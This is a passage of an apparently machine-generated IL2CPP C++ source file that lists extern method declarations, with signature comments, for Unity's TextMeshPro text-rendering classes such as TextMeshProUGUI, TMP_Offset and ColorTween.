extern void TextMeshProUGUI_DisableMasking_m00E17B3141C80A2A15A8CF42FB9919563FBC9317 (void);
// 0x000000C6 System.Void TMPro.TextMeshProUGUI::UpdateMask()
extern void TextMeshProUGUI_UpdateMask_m35565EC9D9C802C94BE4694B5B340B2B4577EF44 (void);
// 0x000000C7 UnityEngine.Material TMPro.TextMeshProUGUI::GetMaterial(UnityEngine.Material)
extern void TextMeshProUGUI_GetMaterial_m2A3E0BA6B812DEF61F0FB90E9FC0D6C4BDCEBA0A (void);
// 0x000000C8 UnityEngine.Material[] TMPro.TextMeshProUGUI::GetMaterials(UnityEngine.Material[])
extern void TextMeshProUGUI_GetMaterials_m4C0D6622FD2BD30E4CE5F868F1CFDB64C1C1403D (void);
// 0x000000C9 System.Void TMPro.TextMeshProUGUI::SetSharedMaterial(UnityEngine.Material)
extern void TextMeshProUGUI_SetSharedMaterial_m9F64130FA72B17A58824E3A40980C92013F4E0EB (void);
// 0x000000CA UnityEngine.Material[] TMPro.TextMeshProUGUI::GetSharedMaterials()
extern void TextMeshProUGUI_GetSharedMaterials_mFC9F284B9D0F7588F7FBDCB8C98B221DCF8660F6 (void);
// 0x000000CB System.Void TMPro.TextMeshProUGUI::SetSharedMaterials(UnityEngine.Material[])
extern void TextMeshProUGUI_SetSharedMaterials_m0E33EE522DBE0E2BA8464C455A9663327F9E34ED (void);
// 0x000000CC System.Void TMPro.TextMeshProUGUI::SetOutlineThickness(System.Single)
extern void TextMeshProUGUI_SetOutlineThickness_m1819530A5C28F978C80D6BA614595D900099D897 (void);
// 0x000000CD System.Void TMPro.TextMeshProUGUI::SetFaceColor(UnityEngine.Color32)
extern void TextMeshProUGUI_SetFaceColor_m6A655C7FF042096CC71D943BCAFB98A42036EE1B (void);
// 0x000000CE System.Void TMPro.TextMeshProUGUI::SetOutlineColor(UnityEngine.Color32)
extern void TextMeshProUGUI_SetOutlineColor_mFCA7A6D7F2BA52DB12239F9051D2BDF40F92ADA8 (void);
// 0x000000CF System.Void TMPro.TextMeshProUGUI::SetShaderDepth()
extern void TextMeshProUGUI_SetShaderDepth_m7A017149B97BAD6B9618750C0976729BD4740A70 (void);
// 0x000000D0 System.Void TMPro.TextMeshProUGUI::SetCulling()
extern void TextMeshProUGUI_SetCulling_m62AF94911CBF89A8ADDA8A21CEE391ED756360EF (void);
// 0x000000D1 System.Void TMPro.TextMeshProUGUI::SetPerspectiveCorrection()
extern void TextMeshProUGUI_SetPerspectiveCorrection_mF547B8584EC083BAE1D3EFBD22CC5D9D78EDC48F (void);
// 0x000000D2 System.Void TMPro.TextMeshProUGUI::SetMeshArrays(System.Int32)
extern void TextMeshProUGUI_SetMeshArrays_mBB3809698124A9B2B65A4F57954CEFA790568C2A (void);
// 0x000000D3 System.Int32 TMPro.TextMeshProUGUI::SetArraySizes(TMPro.TMP_Text/UnicodeChar[])
extern void TextMeshProUGUI_SetArraySizes_mAE0F66585903F33A1056D130213B5680D0951D42 (void);
// 0x000000D4 System.Void TMPro.TextMeshProUGUI::ComputeMarginSize()
extern void TextMeshProUGUI_ComputeMarginSize_m0647B2989C0A1098FFCCB9EA66810DAAE6C2E0D5 (void);
// 0x000000D5 System.Void TMPro.TextMeshProUGUI::OnDidApplyAnimationProperties()
extern void TextMeshProUGUI_OnDidApplyAnimationProperties_m8ADE42C6DD519A08609CB526A983561DBACB7266 (void);
// 0x000000D6 System.Void TMPro.TextMeshProUGUI::OnCanvasHierarchyChanged()
extern void TextMeshProUGUI_OnCanvasHierarchyChanged_mDF06442735F795DA1A2CEBF42542EF352A0AC2D4 (void);
// 0x000000D7 System.Void TMPro.TextMeshProUGUI::OnTransformParentChanged()
extern void TextMeshProUGUI_OnTransformParentChanged_m7B078BE5B1E69D3CA642D32F15204E7A7D2D7825 (void);
// 0x000000D8 System.Void TMPro.TextMeshProUGUI::OnRectTransformDimensionsChange()
extern void TextMeshProUGUI_OnRectTransformDimensionsChange_mE7B272E5EF1538872749F01C82CD28D4352F37FC (void);
// 0x000000D9 System.Void TMPro.TextMeshProUGUI::InternalUpdate()
extern void TextMeshProUGUI_InternalUpdate_mEA820FAC0E9C659AC8198ABD63AC8515FC2EEC75 (void);
// 0x000000DA System.Void TMPro.TextMeshProUGUI::OnPreRenderCanvas()
extern void TextMeshProUGUI_OnPreRenderCanvas_mD208EA1BBA9D3A10B255322BABED2056A83BA2FC (void);
// 0x000000DB System.Void TMPro.TextMeshProUGUI::GenerateTextMesh()
extern void TextMeshProUGUI_GenerateTextMesh_m542C2DC0CA489C10BB3371B0114CD9ACED4E97D3 (void);
// 0x000000DC UnityEngine.Vector3[] TMPro.TextMeshProUGUI::GetTextContainerLocalCorners()
extern void TextMeshProUGUI_GetTextContainerLocalCorners_m2D6D185BC85A20431398BEC3EC258EBBD7D7C6AE (void);
// 0x000000DD System.Void TMPro.TextMeshProUGUI::SetActiveSubMeshes(System.Boolean)
extern void TextMeshProUGUI_SetActiveSubMeshes_m85AACB4166A13ACDC7E0F944BD37E1C771A90716 (void);
// 0x000000DE System.Void TMPro.TextMeshProUGUI::DestroySubMeshObjects()
extern void TextMeshProUGUI_DestroySubMeshObjects_mBE2D8860515389A8AC3FDC37D184B03E38186F23 (void);
// 0x000000DF UnityEngine.Bounds TMPro.TextMeshProUGUI::GetCompoundBounds()
extern void TextMeshProUGUI_GetCompoundBounds_m74366E456D195D8D2FEBB1E85D0FE5DCE4105DF0 (void);
// 0x000000E0 UnityEngine.Rect TMPro.TextMeshProUGUI::GetCanvasSpaceClippingRect()
extern void TextMeshProUGUI_GetCanvasSpaceClippingRect_m1E7125B754E5B3935318B425847952E705DD5B6F (void);
// 0x000000E1 System.Void TMPro.TextMeshProUGUI::UpdateSDFScale(System.Single)
extern void TextMeshProUGUI_UpdateSDFScale_m357367AFC5B9A2EBD11FA3C4D7FC99C5208044AE (void);
// 0x000000E2 System.Void TMPro.TextMeshProUGUI::.ctor()
extern void TextMeshProUGUI__ctor_m3733FC98975BAD7C96BA932B8BE6A63602BA83B3 (void);
// 0x000000E3 System.Void TMPro.TextMeshProUGUI::.cctor()
extern void TextMeshProUGUI__cctor_m2640D093CD02847299314CFD387706497B1D2525 (void);
// 0x000000E4 System.Void TMPro.TextMeshProUGUI/<DelayedGraphicRebuild>d__18::.ctor(System.Int32)
extern void U3CDelayedGraphicRebuildU3Ed__18__ctor_mCAB88DA6910047EF7A9FA188F4CF1F1EA42A858B (void);
// 0x000000E5 System.Void TMPro.TextMeshProUGUI/<DelayedGraphicRebuild>d__18::System.IDisposable.Dispose()
extern void U3CDelayedGraphicRebuildU3Ed__18_System_IDisposable_Dispose_m4BEB7CF8BAD78596B1C1FC7359A791492F8EA33F (void);
// 0x000000E6 System.Boolean TMPro.TextMeshProUGUI/<DelayedGraphicRebuild>d__18::MoveNext()
extern void U3CDelayedGraphicRebuildU3Ed__18_MoveNext_m0B62B0E98E2F3A3DA9A316759B3D76181ED512AF (void);
// 0x000000E7 System.Object TMPro.TextMeshProUGUI/<DelayedGraphicRebuild>d__18::System.Collections.Generic.IEnumerator<System.Object>.get_Current()
extern void U3CDelayedGraphicRebuildU3Ed__18_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m7A1891BD230605BA6BA156CAE8857BD6413AFEAA (void);
// 0x000000E8 System.Void TMPro.TextMeshProUGUI/<DelayedGraphicRebuild>d__18::System.Collections.IEnumerator.Reset()
extern void U3CDelayedGraphicRebuildU3Ed__18_System_Collections_IEnumerator_Reset_m251AEA2015F485A8BA72E4B5ED787AE5224DC4DE (void);
// 0x000000E9 System.Object TMPro.TextMeshProUGUI/<DelayedGraphicRebuild>d__18::System.Collections.IEnumerator.get_Current()
extern void U3CDelayedGraphicRebuildU3Ed__18_System_Collections_IEnumerator_get_Current_m87FE04FA504B5B9B9606E2447830CBD06986DFF8 (void);
// 0x000000EA System.Void TMPro.TextMeshProUGUI/<DelayedMaterialRebuild>d__19::.ctor(System.Int32)
extern void U3CDelayedMaterialRebuildU3Ed__19__ctor_m6351B5737E3B2ADA60C28688744DE4FA2541606E (void);
// 0x000000EB System.Void TMPro.TextMeshProUGUI/<DelayedMaterialRebuild>d__19::System.IDisposable.Dispose()
extern void U3CDelayedMaterialRebuildU3Ed__19_System_IDisposable_Dispose_m2EF3A18F3B761153309EDC6D2AE1C3457515C1CF (void);
// 0x000000EC System.Boolean TMPro.TextMeshProUGUI/<DelayedMaterialRebuild>d__19::MoveNext()
extern void U3CDelayedMaterialRebuildU3Ed__19_MoveNext_m9F6CEA5597DFFDA1AF6344B784640145736FFD68 (void);
// 0x000000ED System.Object TMPro.TextMeshProUGUI/<DelayedMaterialRebuild>d__19::System.Collections.Generic.IEnumerator<System.Object>.get_Current()
extern void U3CDelayedMaterialRebuildU3Ed__19_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_mBCB103321A5F41C5119C356DF074BBEE78D2A19E (void);
// 0x000000EE System.Void TMPro.TextMeshProUGUI/<DelayedMaterialRebuild>d__19::System.Collections.IEnumerator.Reset()
extern void U3CDelayedMaterialRebuildU3Ed__19_System_Collections_IEnumerator_Reset_m601E654D1F099331AA189E94AB46DE1A332A2559 (void);
// 0x000000EF System.Object TMPro.TextMeshProUGUI/<DelayedMaterialRebuild>d__19::System.Collections.IEnumerator.get_Current()
extern void U3CDelayedMaterialRebuildU3Ed__19_System_Collections_IEnumerator_get_Current_m81AC91995AC85EEE6EC8E360A3D6D1BA49EF9714 (void);
// 0x000000F0 System.Void TMPro.TMPro_EventManager::ON_MATERIAL_PROPERTY_CHANGED(System.Boolean,UnityEngine.Material)
extern void TMPro_EventManager_ON_MATERIAL_PROPERTY_CHANGED_m48C2420BAB8E69E646AABC62AA5BC7CF7E33CE51 (void);
// 0x000000F1 System.Void TMPro.TMPro_EventManager::ON_FONT_PROPERTY_CHANGED(System.Boolean,UnityEngine.Object)
extern void TMPro_EventManager_ON_FONT_PROPERTY_CHANGED_m79736CA0F73AB1A3160CF9575ACA078491C76D7D (void);
// 0x000000F2 System.Void TMPro.TMPro_EventManager::ON_SPRITE_ASSET_PROPERTY_CHANGED(System.Boolean,UnityEngine.Object)
extern void TMPro_EventManager_ON_SPRITE_ASSET_PROPERTY_CHANGED_m3A5B0BF1CD030269CEA0079765A3E9246C18D6FB (void);
// 0x000000F3 System.Void TMPro.TMPro_EventManager::ON_TEXTMESHPRO_PROPERTY_CHANGED(System.Boolean,UnityEngine.Object)
extern void TMPro_EventManager_ON_TEXTMESHPRO_PROPERTY_CHANGED_mBF1CA46C3651FDA654686CB23634AAEECE9B5AD7 (void);
// 0x000000F4 System.Void TMPro.TMPro_EventManager::ON_DRAG_AND_DROP_MATERIAL_CHANGED(UnityEngine.GameObject,UnityEngine.Material,UnityEngine.Material)
extern void TMPro_EventManager_ON_DRAG_AND_DROP_MATERIAL_CHANGED_mD9CB5FCFB18F27F97297663959CDBF743B6F7B04 (void);
// 0x000000F5 System.Void TMPro.TMPro_EventManager::ON_TEXT_STYLE_PROPERTY_CHANGED(System.Boolean)
extern void TMPro_EventManager_ON_TEXT_STYLE_PROPERTY_CHANGED_m60D5B80B0A3F43702409EA20B826D32DEE33E164 (void);
// 0x000000F6 System.Void TMPro.TMPro_EventManager::ON_COLOR_GRADIENT_PROPERTY_CHANGED(UnityEngine.Object)
extern void TMPro_EventManager_ON_COLOR_GRADIENT_PROPERTY_CHANGED_mD4CB585E43FA4DEB726D54534767C3386351F80E (void);
// 0x000000F7 System.Void TMPro.TMPro_EventManager::ON_TEXT_CHANGED(UnityEngine.Object)
extern void TMPro_EventManager_ON_TEXT_CHANGED_m23BFEDDA79D858AFD1D4A1DF228941DC7A3D158D (void);
// 0x000000F8 System.Void TMPro.TMPro_EventManager::ON_TMP_SETTINGS_CHANGED()
extern void TMPro_EventManager_ON_TMP_SETTINGS_CHANGED_m6331734621D19E64223E7FA72AE7F6F03DC40930 (void);
// 0x000000F9 System.Void TMPro.TMPro_EventManager::ON_RESOURCES_LOADED()
extern void TMPro_EventManager_ON_RESOURCES_LOADED_m8D790BFE1757A19F421EE1B15AD50BC9180A25A0 (void);
// 0x000000FA System.Void TMPro.TMPro_EventManager::ON_TEXTMESHPRO_UGUI_PROPERTY_CHANGED(System.Boolean,UnityEngine.Object)
extern void TMPro_EventManager_ON_TEXTMESHPRO_UGUI_PROPERTY_CHANGED_m24D4B6D95AED283B0578E52F072C8DC1378DBA76 (void);
// 0x000000FB System.Void TMPro.TMPro_EventManager::ON_COMPUTE_DT_EVENT(System.Object,TMPro.Compute_DT_EventArgs)
extern void TMPro_EventManager_ON_COMPUTE_DT_EVENT_m0A5CA6BB2BCBE292E78FBC029D4F7F04E1C098E4 (void);
// 0x000000FC System.Void TMPro.TMPro_EventManager::.cctor()
extern void TMPro_EventManager__cctor_m792FCAFB04ACE9E76E635A4601322F6F6AEA6F1D (void);
// 0x000000FD System.Void TMPro.Compute_DT_EventArgs::.ctor(TMPro.Compute_DistanceTransform_EventTypes,System.Single)
extern void Compute_DT_EventArgs__ctor_mFB724195485EB6D002C77F0B2262A5F94835A28D (void);
// 0x000000FE System.Void TMPro.Compute_DT_EventArgs::.ctor(TMPro.Compute_DistanceTransform_EventTypes,UnityEngine.Color[])
extern void Compute_DT_EventArgs__ctor_m9834D9D98042FC8AC11B9B6A834BFEDB3ED2BFFF (void);
// 0x000000FF System.Int32[] TMPro.TMPro_ExtensionMethods::ToIntArray(System.String)
extern void TMPro_ExtensionMethods_ToIntArray_mEC4ECB06EDFB4EDFDFA3B3F6BC33F15479726EA0 (void);
// 0x00000100 System.String TMPro.TMPro_ExtensionMethods::ArrayToString(System.Char[])
extern void TMPro_ExtensionMethods_ArrayToString_mA4841CB489967FA4827657B5D50825D0D031210C (void);
// 0x00000101 System.String TMPro.TMPro_ExtensionMethods::IntToString(System.Int32[])
extern void TMPro_ExtensionMethods_IntToString_mE8F379EC28EEB8B270A253BECA2AF3BFDBEEE5A6 (void);
// 0x00000102 System.String TMPro.TMPro_ExtensionMethods::UintToString(System.Collections.Generic.List`1<System.UInt32>)
extern void TMPro_ExtensionMethods_UintToString_m4DA616421142C9A6214111F89D366914143B2ECC (void);
// 0x00000103 System.String TMPro.TMPro_ExtensionMethods::IntToString(System.Int32[],System.Int32,System.Int32)
extern void TMPro_ExtensionMethods_IntToString_m8AC3551DE2D6CC03F05F218356BA51EA19CB1453 (void);
// 0x00000104 System.Int32 TMPro.TMPro_ExtensionMethods::FindInstanceID(System.Collections.Generic.List`1<T>,T)
// 0x00000105 System.Boolean TMPro.TMPro_ExtensionMethods::Compare(UnityEngine.Color32,UnityEngine.Color32)
extern void TMPro_ExtensionMethods_Compare_m6CE530D8A0BD1FA2D9C935CB2D5C4AC3EECA2B72 (void);
// 0x00000106 System.Boolean TMPro.TMPro_ExtensionMethods::CompareRGB(UnityEngine.Color32,UnityEngine.Color32)
extern void TMPro_ExtensionMethods_CompareRGB_m24459998B4B8FD09C4A504BFDA186A0566D8D321 (void);
// 0x00000107 System.Boolean TMPro.TMPro_ExtensionMethods::Compare(UnityEngine.Color,UnityEngine.Color)
extern void TMPro_ExtensionMethods_Compare_m02D27D5E15956DB8F490877FA716840F9DB96246 (void);
// 0x00000108 System.Boolean TMPro.TMPro_ExtensionMethods::CompareRGB(UnityEngine.Color,UnityEngine.Color)
extern void TMPro_ExtensionMethods_CompareRGB_m3CAD906B0604075C4075D935AE7FFD0E9A9B418C (void);
// 0x00000109 UnityEngine.Color32 TMPro.TMPro_ExtensionMethods::Multiply(UnityEngine.Color32,UnityEngine.Color32)
extern void TMPro_ExtensionMethods_Multiply_mC7A14CD67A219A82BEAC77845823C887355D2127 (void);
// 0x0000010A UnityEngine.Color32 TMPro.TMPro_ExtensionMethods::Tint(UnityEngine.Color32,UnityEngine.Color32)
extern void TMPro_ExtensionMethods_Tint_mCAA591906B5D62CF1DBBE7BDA1B8260154120020 (void);
// 0x0000010B UnityEngine.Color32 TMPro.TMPro_ExtensionMethods::Tint(UnityEngine.Color32,System.Single)
extern void TMPro_ExtensionMethods_Tint_m5DA2EA8D3C7DFF5FC493CE93D07C3FC039A07133 (void);
// 0x0000010C UnityEngine.Color TMPro.TMPro_ExtensionMethods::MinAlpha(UnityEngine.Color,UnityEngine.Color)
extern void TMPro_ExtensionMethods_MinAlpha_mB118608D99C2B0D181D08A34D62EBBD342D5A7B8 (void);
// 0x0000010D System.Boolean TMPro.TMPro_ExtensionMethods::Compare(UnityEngine.Vector3,UnityEngine.Vector3,System.Int32)
extern void TMPro_ExtensionMethods_Compare_mA7AB3A35D921F8014C17306CC64D6CFD8F215CA6 (void);
// 0x0000010E System.Boolean TMPro.TMPro_ExtensionMethods::Compare(UnityEngine.Quaternion,UnityEngine.Quaternion,System.Int32)
extern void TMPro_ExtensionMethods_Compare_mFC4E4CDEBF258A3DC7411E7E2395FE58739BF3F7 (void);
// 0x0000010F System.Boolean TMPro.TMP_Math::Approximately(System.Single,System.Single)
extern void TMP_Math_Approximately_m5433281D91C668DC50FE91CB6D79D7FFCB9657BB (void);
// 0x00000110 System.Int32 TMPro.TMP_Math::Mod(System.Int32,System.Int32)
extern void TMP_Math_Mod_mF02A7688DC20EAC76DD3DB37E18537D66153553E (void);
// 0x00000111 System.Void TMPro.TMP_Math::.cctor()
extern void TMP_Math__cctor_mBD4619AD5E6B640F7B15B379EE141DB2FD7B60DD (void);
// 0x00000112 System.Void TMPro.VertexGradient::.ctor(UnityEngine.Color)
extern void VertexGradient__ctor_m9B59D99E8B67833BD6CC50F4704614744D271C3A (void);
// 0x00000113 System.Void TMPro.VertexGradient::.ctor(UnityEngine.Color,UnityEngine.Color,UnityEngine.Color,UnityEngine.Color)
extern void VertexGradient__ctor_m8FFAAFD98D0DC4F7C6D41410EF574A6600DCA40B (void);
// 0x00000114 System.Void TMPro.TMP_LinkInfo::SetLinkID(System.Char[],System.Int32,System.Int32)
extern void TMP_LinkInfo_SetLinkID_m9E9A1B09A536609EC636A3F6D14498F70C6C487A (void);
// 0x00000115 System.String TMPro.TMP_LinkInfo::GetLinkText()
extern void TMP_LinkInfo_GetLinkText_m954EE8FF39D62BA8113773A696095EAE85CD5E3F (void);
// 0x00000116 System.String TMPro.TMP_LinkInfo::GetLinkID()
extern void TMP_LinkInfo_GetLinkID_mCC9D9E783D606660A4D15E0E746E1E27AD9C2425 (void);
// 0x00000117 System.String TMPro.TMP_WordInfo::GetWord()
extern void TMP_WordInfo_GetWord_m7F72AB87E8AB0FA75616FD5409A8F5C031294D2C (void);
// 0x00000118 System.Void TMPro.Extents::.ctor(UnityEngine.Vector2,UnityEngine.Vector2)
extern void Extents__ctor_m2C44BA0B2EDAAB80829698A019D2BBF8DDFF630B (void);
// 0x00000119 System.String TMPro.Extents::ToString()
extern void Extents_ToString_m947E31139C9C66B1F1942EF74B2FDE347A778F99 (void);
// 0x0000011A System.Void TMPro.Extents::.cctor()
extern void Extents__cctor_mAD83D61EA6DC06C831C241B5923E3EF7E8B06F0A (void);
// 0x0000011B System.Void TMPro.Mesh_Extents::.ctor(UnityEngine.Vector2,UnityEngine.Vector2)
extern void Mesh_Extents__ctor_m37E0BBEE5EED57082B82AC6162F7785B231907CB (void);
// 0x0000011C System.String TMPro.Mesh_Extents::ToString()
extern void Mesh_Extents_ToString_m733F0275FC20FD2F4EE5B6E9ABBD6F3CD8D5AE23 (void);
// 0x0000011D System.Int32 TMPro.TMP_Asset::get_instanceID()
extern void TMP_Asset_get_instanceID_mD7D5D79979B77457C3A376955C316AC289BB3D1D (void);
// 0x0000011E System.Void TMPro.TMP_Asset::.ctor()
extern void TMP_Asset__ctor_m12FF90A96AD41AEDF9AD37175E7070FAC070D8E9 (void);
// 0x0000011F System.Void TMPro.TMP_Character::.ctor()
extern void TMP_Character__ctor_m16CBCDD3EB5695396E4C95A0876F2C4DD4500673 (void);
// 0x00000120 System.Void TMPro.TMP_Character::.ctor(System.UInt32,UnityEngine.TextCore.Glyph)
extern void TMP_Character__ctor_m79F49FBBC8657569BA621EFBF64A000BB1B56ED3 (void);
// 0x00000121 System.Void TMPro.TMP_Character::.ctor(System.UInt32,TMPro.TMP_FontAsset,UnityEngine.TextCore.Glyph)
extern void TMP_Character__ctor_mAF0A895127F27795D515FF97C84185A01EFDAB0D (void);
// 0x00000122 System.Void TMPro.TMP_Character::.ctor(System.UInt32,System.UInt32)
extern void TMP_Character__ctor_m7019F2E56EE1A654151F581F2293FBB2410E4775 (void);
// 0x00000123 TMPro.TMP_Vertex TMPro.TMP_Vertex::get_zero()
extern void TMP_Vertex_get_zero_m558845D50A2857974D01F9DBE472958BFC4ACB02 (void);
// 0x00000124 System.Void TMPro.TMP_Vertex::.cctor()
extern void TMP_Vertex__cctor_mB236CFF83B30DC42216032ADEAB86EF9259271F6 (void);
// 0x00000125 System.Single TMPro.TMP_Offset::get_left()
extern void TMP_Offset_get_left_mCDC93F42B720817E1119AA5360962F038A39E044 (void);
// 0x00000126 System.Void TMPro.TMP_Offset::set_left(System.Single)
extern void TMP_Offset_set_left_m6FF3BCE823654D55CC03B9202094E129A3891958 (void);
// 0x00000127 System.Single TMPro.TMP_Offset::get_right()
extern void TMP_Offset_get_right_m268492C5D14D1239A429A152ED04DD8790EC98C4 (void);
// 0x00000128 System.Void TMPro.TMP_Offset::set_right(System.Single)
extern void TMP_Offset_set_right_m19952C4778E73F559E8229B5D1438766E4FF62F2 (void);
// 0x00000129 System.Single TMPro.TMP_Offset::get_top()
extern void TMP_Offset_get_top_m5BAE1A688A264A63524AD4C456CE88CB2086105E (void);
// 0x0000012A System.Void TMPro.TMP_Offset::set_top(System.Single)
extern void TMP_Offset_set_top_m5346213516D5B378349B70D61C4EE6BB25603DCC (void);
// 0x0000012B System.Single TMPro.TMP_Offset::get_bottom()
extern void TMP_Offset_get_bottom_m71E985879E87F76BE28A0FB0485F279866279845 (void);
// 0x0000012C System.Void TMPro.TMP_Offset::set_bottom(System.Single)
extern void TMP_Offset_set_bottom_m4FF1AE55CF113FD06678B22A8ED029F17A9019A8 (void);
// 0x0000012D System.Single TMPro.TMP_Offset::get_horizontal()
extern void TMP_Offset_get_horizontal_m3BE3663354670CEA3945FD6EC7C6FD1A3F4E81F7 (void);
// 0x0000012E System.Void TMPro.TMP_Offset::set_horizontal(System.Single)
extern void TMP_Offset_set_horizontal_m38C3B111DD01790C98E91423FCEF6BE826826891 (void);
// 0x0000012F System.Single TMPro.TMP_Offset::get_vertical()
extern void TMP_Offset_get_vertical_mB6681568C4F9B09DCE4CBFFDC33F733DE7EFE149 (void);
// 0x00000130 System.Void TMPro.TMP_Offset::set_vertical(System.Single)
extern void TMP_Offset_set_vertical_m16CC389B6E1291EA006498F0E739A05A5CD16ABE (void);
// 0x00000131 TMPro.TMP_Offset TMPro.TMP_Offset::get_zero()
extern void TMP_Offset_get_zero_mF8CE5DEC258B77B3697FB8C04EFAFACD04CBA10C (void);
// 0x00000132 System.Void TMPro.TMP_Offset::.ctor(System.Single,System.Single,System.Single,System.Single)
extern void TMP_Offset__ctor_mE88A176987DB6F468CA09553D74E86E1B48AA81C (void);
// 0x00000133 System.Void TMPro.TMP_Offset::.ctor(System.Single,System.Single)
extern void TMP_Offset__ctor_m5C1836C5751505F6A9E674C8CD7A6419F4BFDCA0 (void);
// 0x00000134 System.Boolean TMPro.TMP_Offset::op_Equality(TMPro.TMP_Offset,TMPro.TMP_Offset)
extern void TMP_Offset_op_Equality_m69BA2835453CA9BD35AC2DE792A29916D9E956A9 (void);
// 0x00000135 System.Boolean TMPro.TMP_Offset::op_Inequality(TMPro.TMP_Offset,TMPro.TMP_Offset)
extern void TMP_Offset_op_Inequality_m0FF59F9929F79F4A7957AE7995D1CAC62EA3EE10 (void);
// 0x00000136 TMPro.TMP_Offset TMPro.TMP_Offset::op_Multiply(TMPro.TMP_Offset,System.Single)
extern void TMP_Offset_op_Multiply_m7CBD5277BEB78C1209EB78CE3514824A18B3F4D6 (void);
// 0x00000137 System.Int32 TMPro.TMP_Offset::GetHashCode()
extern void TMP_Offset_GetHashCode_mD43DEA54E08FF70C12AAB7FD40AC4310B81C1421 (void);
// 0x00000138 System.Boolean TMPro.TMP_Offset::Equals(System.Object)
extern void TMP_Offset_Equals_m7D8B386EF75BA3B1F931F1F70AAB10FEFA6B17F4 (void);
// 0x00000139 System.Boolean TMPro.TMP_Offset::Equals(TMPro.TMP_Offset)
extern void TMP_Offset_Equals_m1670D25215AB3B155D89F019D27286D294A9ECF0 (void);
// 0x0000013A System.Void TMPro.TMP_Offset::.cctor()
extern void TMP_Offset__cctor_m9C97E3799A2CC10497CFAB122C01412FA9C52B78 (void);
// 0x0000013B System.Void TMPro.HighlightState::.ctor(UnityEngine.Color32,TMPro.TMP_Offset)
extern void HighlightState__ctor_m25791146FF94DD76C2FAAAF47C1735C01D9F47B2 (void);
// 0x0000013C System.Boolean TMPro.HighlightState::op_Equality(TMPro.HighlightState,TMPro.HighlightState)
extern void HighlightState_op_Equality_m079807BBFB0171B565DB50BD48463813BD5DA6FD (void);
// 0x0000013D System.Boolean TMPro.HighlightState::op_Inequality(TMPro.HighlightState,TMPro.HighlightState)
extern void HighlightState_op_Inequality_m7CF3C9B51AF2D4113AD9CCF9D9F460DA8F04E2BD (void);
// 0x0000013E System.Int32 TMPro.HighlightState::GetHashCode()
extern void HighlightState_GetHashCode_m2BE4FEEDFCB6713FA9C10C2D3B93E938E011C985 (void);
// 0x0000013F System.Boolean TMPro.HighlightState::Equals(System.Object)
extern void HighlightState_Equals_m0317881F19561A64B9016A27C306FDB77460D165 (void);
// 0x00000140 System.Boolean TMPro.HighlightState::Equals(TMPro.HighlightState)
extern void HighlightState_Equals_mFC0B5D3A36F1CB24FFDC21F6C238184D43324825 (void);
// 0x00000141 System.Void TMPro.TMP_ColorGradient::.ctor()
extern void TMP_ColorGradient__ctor_m16EACE29FFBC9D027D21703EE927AEE4C370EF8A (void);
// 0x00000142 System.Void TMPro.TMP_ColorGradient::.ctor(UnityEngine.Color)
extern void TMP_ColorGradient__ctor_m60AB4FD600B132618C4DED1BDE0864E7C8CBAC14 (void);
// 0x00000143 System.Void TMPro.TMP_ColorGradient::.ctor(UnityEngine.Color,UnityEngine.Color,UnityEngine.Color,UnityEngine.Color)
extern void TMP_ColorGradient__ctor_mD73E13202AFB41FB9171358320B28DEF6F1162A4 (void);
// 0x00000144 System.Void TMPro.TMP_ColorGradient::.cctor()
extern void TMP_ColorGradient__cctor_m60566DBA3AEB542E63D3D68C6933D9EE59334AFA (void);
// 0x00000145 TMPro.TextAlignmentOptions TMPro.TMP_Compatibility::ConvertTextAlignmentEnumValues(TMPro.TextAlignmentOptions)
extern void TMP_Compatibility_ConvertTextAlignmentEnumValues_mEA881E97B09CBDCB1A7937E7D1329A631E95BF26 (void);
// 0x00000146 System.Void TMPro.ITweenValue::TweenValue(System.Single)
// 0x00000147 System.Boolean TMPro.ITweenValue::get_ignoreTimeScale()
// 0x00000148 System.Single TMPro.ITweenValue::get_duration()
// 0x00000149 System.Boolean TMPro.ITweenValue::ValidTarget()
// 0x0000014A UnityEngine.Color TMPro.ColorTween::get_startColor()
extern void ColorTween_get_startColor_mC3CD44E2CCEF5BB78ED52759D570B1B6855CBBCC (void);
// 0x0000014B System.Void TMPro.ColorTween::set_startColor(UnityEngine.Color)
extern void ColorTween_set_startColor_m01FB2C14DD0139433F9EBCF39A286AE064B8A2FB (void);
// 0x0000014C UnityEngine.Color TMPro.ColorTween::get_targetColor()
extern void ColorTween_get_targetColor_m26BAA4AAA09E6FD3E79F35C51170C32889919446 (void);
// 0x0000014D System.Void TMPro.ColorTween::set_targetColor(UnityEngine.Color)
extern void ColorTween_set_targetColor_m24EB21B05BDCC21A4178DEB116962BE18B361B27 (void);
// 0x0000014E TMPro.ColorTween/ColorTweenMode TMPro.ColorTween::get_tweenMode()
extern void ColorTween_get_tweenMode_m9194D120345334B358FA8487E98C75FDD8F8355B (void);
// 0x0000014F System.Void TMPro.ColorTween::set_tweenMode(TMPro.ColorTween/ColorTweenMode)
extern void ColorTween_set_tweenMode_mB2A52A753B322F14EEF3A1C17B0CC51EB5210035 (void);
// 0x00000150 System.Single TMPro.ColorTween::get_duration()
extern void ColorTween_get_duration_m2C26D45A626E334E9EECD575CCA45B55945736D3 (void);
// 0x00000151 System.Void TMPro.ColorTween::set_duration(System.Single)
extern void ColorTween_set_duration_m0C781971A9EE23189EA02A2835731918680957F0 (void);
// 0x00000152 System.Boolean TMPro.ColorTween::get_ignoreTimeScale()
extern void ColorTween_get_ignoreTimeScale_m008715D2A64C9FC6419C9D71A7030F8710ABA6AE (void);
// 0x00000153 System.Void TMPro.ColorTween::set_ignoreTimeScale(System.Boolean)
extern void ColorTween_set_ignoreTimeScale_mDC7F5B7E7EDF149304E8139C64712462DAB8D40D (void);
// 0x00000154 System.Void TMPro.ColorTween::TweenValue(System.Single)
extern void ColorTween_TweenValue_m43ED566CB5FA4818535832C2ECFFCFEAAE7FFE8E (void);
// 0x00000155 System.Void TMPro.ColorTween::AddOnChangedCallback(UnityEngine.Events.UnityAction`1<UnityEngine.Color>)
extern void ColorTween_AddOnChangedCallback_mF9FE28A71E2818B2C25D79B9272E838034B5A4E4 (void);
// 0x00000156 System.Boolean TMPro.ColorTween::GetIgnoreTimescale()
extern void ColorTween_GetIgnoreTimescale_m502CC5CF9B974F7F564316687E61A16E8CF038F7 (void);
// 0x00000157 System.Single TMPro.ColorTween::GetDuration()
extern void ColorTween_GetDuration_mC929D8E88C9C230CE6A0EAE684B84CA08CFAA615 (void);
// 0x00000158 System.Boolean TMPro.ColorTween::ValidTarget()
